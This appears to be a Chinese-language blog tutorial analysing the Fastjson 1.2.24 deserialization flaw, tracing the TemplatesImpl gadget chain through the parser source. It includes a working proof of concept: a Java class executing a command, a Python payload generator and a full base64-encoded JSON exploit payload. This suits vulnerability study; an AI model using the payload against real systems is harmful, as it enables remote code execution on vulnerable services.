作者:江鸟@星盟
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
简单应用
环境
我是用idea+maven构造的,分为以下几步
1. idea新建一个maven项目
2. 修改pom.xml 引入fastjson
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
序列化
Ser
public class Ser {
public static void main(String[] args) {
User user = new User();
user.setName("lisi");
String jsonstring = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}
结果
setName is running ...
getName is running ...
{"@type":"User","name":"lisi"}
SerializerFeature.WriteClassName
是toJSONString
设置的一个属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type
可以指定反序列化的类,并且调用其getter/setter/is
方法。
不加的时候结果中就没有@type
setName is running ...
getName is running ...
{"name":"lisi"}
上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
反序列化
User
/**
* @program: fastjsontest
* @description:
* @author: 江鸟
* @create: 2021-03-15 18:28
**/
public class User {
private String name;
public String getName() {
System.out.println("getName is running ...");
return name;
}
public void setName(String name) {
System.out.println("setName is running ...");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
'}';
}
}
Test
import com.alibaba.fastjson.JSON;
/**
* @program: fastjsontest
* @description:
* @author: 江鸟
* @create: 2021-03-15 18:29
**/
public class Test {
public static void main(String[] args) {
String json = "{\"@type\":\"User\", \"name\":\"zhangsan\"}";
Object obj = JSON.parse(json);
System.out.println(obj); //输出User{name='zhangsan'}
}
}
结果为
setName is running ...
User{name='zhangsan'}
当输出一个object类型的对象时,会通过@type指定的进行解析,被解析成了User类型的对象
@type属性起的作用,
Fastjson支持在json数据中使用@type属性指定该json数据被反序列为什么类型的对象
同时控制台也输出了 setName is running … ,
说明在反序列化对象时,会执行javabean的setter方法为其属性赋值。
parse成功触发了set方法,parseObject同时触发了set和get方法
// Object obj = JSON.parse(json); // 不调用getter方法
Object obj = JSON.parseObject(json);//都弹出计算机
1.2.24 反序列化
代码分析
通过设置断点,我们来找存在问题的漏洞代码,在测试代码Test中设置最开始的断点
Object obj = JSON.parse(json);
因为我们知道然后再进User中给调用的setName
方法设置断点开始debug的时候跳转到第二个断点
往回找 找到了一个setValue方法
首先传入的是User类型,值为zhangsan,通过反射获取到类的方法名,然后调用方法进行赋值
在该方法中可以得出如下结论:
- fileldinfo类中包含javabean的属性名称及其setter、getter等Method对象,然后通过反射的方式调用setter方法为属性赋值。
- 当javabean中存在属性为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection类型,且fieldinfo.getOnly值为true时(当javabean的属性没有setter方法,只有getter方法时,该值为true),在反序列化时会调用该属性的getter方法。
漏洞利用
TemplatesImpl攻击调用链路
如果一个类中的Getter方法满足调用条件并且存在可利用点,那么这个攻击链就产生了。
TemplatesImpl类恰好满足这个要求:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中存在一个名为_outputPropertiesget
的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用
poc:
/**
* @program: fastjsontest
* @description:fastjson1.2.24版本TemplatesImpl攻击调用链路
* @author: 江鸟
* @create: 2021-03-17 10:21
**/
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
通过如下方式进行base64加密以及生成payload
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
POC如下
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
通过poc进行分析
调用链
首先先调用了在JSON.java
中的parseObject()
com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)
public static JSONObject parseObject(String text, Feature... features) {
return (JSONObject) parse(text, features);
}
就相当于把parseObject变成了parse(text, features)
类,并传入参数
跳转到
com.alibaba.fastjson.JSON#parse(java.lang.String, com.alibaba.fastjson.parser.Feature...)
public static Object parse(String text, Feature... features) {
int featureValues = DEFAULT_PARSER_FEATURE;
for (Feature feature : features) {
featureValues = Feature.config(featureValues, feature, true);
}
return parse(text, featureValues);
}
再跳到parse(String text, int features)
在这里new了一个DefaultJSONParser对象
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
public DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config){
this.lexer = lexer;
this.input = input;
this.config = config;
this.symbolTable = config.symbolTable;
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACE;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase) lexer).token = JSONToken.LBRACKET;
} else {
lexer.nextToken(); // prime the pump
}
}
在这个对象中,主要是进行了对于传入字符串的获取操作
然后再传入parser.parseObject()来解析传入的数据
在这个函数主体内,会完成对于JSON数据的解析处理。在for循环中,不断的取得JSON数据中的值,然后进入scanSymbol
处理。在scanSymbol中,首先会遍历取出两个双引号之间的数据作为key。
然后到了下面这句进行反序列化
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
return deserializer.deserialze(this, clazz, fieldName);
传入的参数列表
跟进函数查看
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
return deserialze(parser, type, fieldName, 0);
}
再到
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, int features) {
return deserialze(parser, type, fieldName, null, features);
}
再到
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)
boolean match = parseField(parser, key, object, type, fieldValues);
之后进入parseField()调用smartMatch()对key值进行处理
之后进入了fieldDeserializer.parseField()
在这里调用了setValue方法
com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField
跟进之后发现这个方法中通过反射使fieldinfo的method值为outputProperties
并在接下来的循环中通过invoke方法来调用class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
跟进newTransformer方法
在这里主要看这个
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟进getTransletInstance()方法
_bytecodes
会传入getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes
字节数组new一个_class
,_bytecodes
加载到_class
中,最后根据_class
,用newInstance生成一个java实例。
classloader是将class字节类载入虚拟机的一种形式,为了给外界提供一种加载class的途径
载入的内容
getConstructors():此方法用于取得全部构造方法
newInstance()创建对象用的一个方法
所以这句话的意思是,将刚才载入的_class[_transletIndex]
获取他的全部构造方法然后创建这个对象
最后一步,就是AbstractTranslet的强制转换
到这里命令就成功执行了
问题解答
为什么要继承AbstractTranslet
在这里有一个AbstractTranslet的强制转换所以需要继承,不然会报错
为什么只有在设定Feature.SupportNonPublicField参数才可以反序列化成功
这个问题其实也是为什么需要设定_tfactory={}
是一样的
在defineTransletClasses()方法中需要满足_tfactory
变量不为null,否则导致程序异常退出
因为_tfactory
为私有变量,且无setter方法,所以需要指定Feature.SupportNonPublicField参数
就是为了支持私有属性的传入
为什么要base64编码并用数组格式
根据前面的内容 在反序列化deserialze之后调用了parseField()中
value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
跟进跳转
com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
在这里主要是对格式进行判断
当判断_bytecodes
为数组的格式时,进入parseArray方法
com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)
在这个函数时,
val = deserializer.deserialze(this, type, i);
又调用了 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
这次已经是数组提取的结果,进入了循环
if (lexer.token() == JSONToken.LITERAL_STRING) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken(JSONToken.COMMA);
return (T) bytes;
}
跟进lexer.bytesValue()
位于com.alibaba.fastjson.parser.JSONScanner#bytesValue
就是一个base64解码的操作,所以我们传入的__bytecode
需要是数组形式并base64编码